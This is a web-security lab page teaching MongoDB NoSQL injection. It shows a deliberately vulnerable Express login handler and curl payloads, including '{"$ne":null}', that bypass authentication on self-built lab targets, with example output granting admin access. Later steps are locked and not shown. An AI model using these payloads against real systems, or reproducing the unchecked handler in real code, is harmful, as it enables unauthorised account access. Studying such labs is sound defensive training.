Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Web attacks

Lab · Medium · 1.5 hoursFree account

NoSQL Injection

MongoDB operator and regex injection: authentication bypass and blind data extraction.

  • nosql-injection
  • mongodb
  • authentication-bypass
  • operator-injection
On this page 14 sections
  1. ·Why NoSQL Injection Is Different
  2. ·Prerequisites
  3. ·Lab Setup
  4. ·Build the target
  5. 1Confirm the Backend Passes Objects Straight to MongoDB
  6. 2Bypass Login with the $ne Operator
  7. Locked: Compare the Same Payload Across Frameworks
  8. Locked: Build a Boolean Oracle with $regex
  9. Locked: Extract the Key One Character at a Time
  10. Locked: Automate Extraction with Python
  11. Locked: Confirm Blind Injection with a Timing Oracle
  12. Locked: Detect and Defend Against NoSQL Injection
  13. Locked: Check Your Work
  14. Locked: Clean Up and Next Lab

A MongoDB query is a JSON object, not a string of text, so the classic quote-and-comment payload does nothing. The vulnerability is a handler that passes the request body straight to the driver without checking what the values are — send {"$ne": null} and the comparison always matches. Here you bypass a login with operator injection and extract a hidden field, one character at a time, through a $regex oracle.

Lab Objectives

  • Confirm that a JSON API passes request data straight to a MongoDB query
  • Bypass a login check with the $ne operator
  • Explain why the same operator payload behaves differently on two back ends
  • Build a boolean oracle with $regex to test a value you cannot see
  • Extract a hidden field one character at a time, by hand and with a script
  • Recommend defences that remove the injection class, not just one payload

Why NoSQL Injection Is Different

A relational query is text. You break out of it with a quote and a comment marker. MongoDB's query language is not text — it is a JSON object. Most NoSQL injection happens because a back end hands your JSON straight to the database driver without checking what the values are:

// Vulnerable Node.js/Express handler — no type or shape checking
app.post('/api/login', async (req, res) => {
  const user = await db.collection('users').findOne(req.body);
  res.json({ success: !!user, username: user?.username, role: user?.role });
});

A normal login sends {"username": "guest", "password": "wrongpass"}. MongoDB reads that as "find a user where both fields equal these exact strings." Nothing stops you from sending an object instead of a string for either field. MongoDB's own query operators — $ne, $gt, $regex, $where — then run as query logic, not as data. An injected OR 1=1 runs the same way once it escapes a quote and becomes SQL logic.

Prerequisites

  • SQL Injection Deep Dive — do this first. Detecting an injection point and building a boolean or time-based oracle works the same way once you move from SQL text to MongoDB operators.
  • Attacking Authentication Mechanisms — covers how login flows fail in general, which this lab's operator-based bypass builds on.
  • API & Web Service Attacks — covers sending raw JSON bodies with curl and an intercepting proxy, which every step here depends on.
  • Comfort with curl, JSON, and a short Python loop for the automation in Step 6.

Lab Setup

  • Attack box. Kali Linux with curl and Python 3 (pip install requests if the module is missing).

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab against two small applications that you build yourself. The addresses below are the example addresses of this lab; use your own.

  • Target A — example 10.0.4.40. A Node.js/Express app backed by MongoDB through the official mongodb driver, with no schema validation. POST /api/login takes a JSON body {username, password}; a legacy GET /api/login takes the same two fields as query-string parameters. POST /api/partner/verify checks a partner's API key, body {clientId, apiKey}. Each handler passes the request body straight into findOne(), with no type or shape check.
  • Target B — example 10.0.4.41. The same application, rebuilt in Python/Flask with PyMongo: the identical endpoints and the same unchecked find_one() call, but GET /api/login accepts only a JSON body, not query strings (Flask does not expand bracket notation the way Express's qs parser does).
  • Seed data, the same in both targets' databases: a users collection with four accounts, administrator (role admin) inserted first; a partners collection with one partner, clientId: "acme-corp", with a 32-character hexadecimal apiKey (the commands use 4f29a7c3e8b1d6f0a5c2e9b7d3f1a6c8 as the example value; use your own and swap it into the commands and loops).
  • $where and mapReduce left enabled, MongoDB's own default, for Step 7.

No public training target reproduces this exact pair of endpoints, so write the two routes yourself: each is a short Express handler and a short Flask handler that call findOne/find_one with the request body unchanged, against a MongoDB container (docker run -d -p 27017:27017 mongo) seeded with the users and partner above. Take a snapshot of each virtual machine, or note the container state, before Step 1.

Legal note. Run every command in this lab only against your own targets, here 10.0.4.40 and 10.0.4.41, and nowhere else. Do not point these payloads at any system you do not own or do not have written authorisation to test.

Step 1: Confirm the Backend Passes Objects Straight to MongoDB

1

Send a bogus top-level operator and watch the backend break

A normal login fails quietly with "Invalid credentials." Adding a key no MongoDB operator defines forces a database-level error instead, confirming the request body reaches the driver with no checks in between.

# Normal login attempt
curl -s -X POST http://10.0.4.40/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"guest","password":"wrongpass"}'

# Add a top-level key no MongoDB operator defines
curl -s -X POST http://10.0.4.40/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"guest","password":"wrongpass","$foo":"test"}'

Example output:

{"success":false,"message":"Invalid credentials"}
{"error":"MongoServerError: unknown top level operator: $foo"}

Why it matters. The first request fails the way a real login must fail on bad credentials. The second returns a raw driver error instead of a generic "bad request" — proof that req.body reaches findOne() unmodified, with every key still live as a possible MongoDB operator.

Step 2: Bypass Login with the $ne Operator

2

Replace the password with an object MongoDB evaluates as true

$ne matches any document where the field is not equal to the given value. Asking for a password that is "not equal to null" matches almost every account, including ones whose real password you do not know.

curl -s -X POST http://10.0.4.40/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

Example output:

{"success":true,"username":"administrator","role":"admin"}

Why it matters. You supplied no real username or password, only operators. MongoDB matched the first document where both fields exist and are not null, which on this seed data is the administrator account. On a real engagement the account you land on depends on collection order, so always read the role field the response hands back.

Sign in to continue

8 more sections are for signed-in members. It is free: sign in with Google.

Related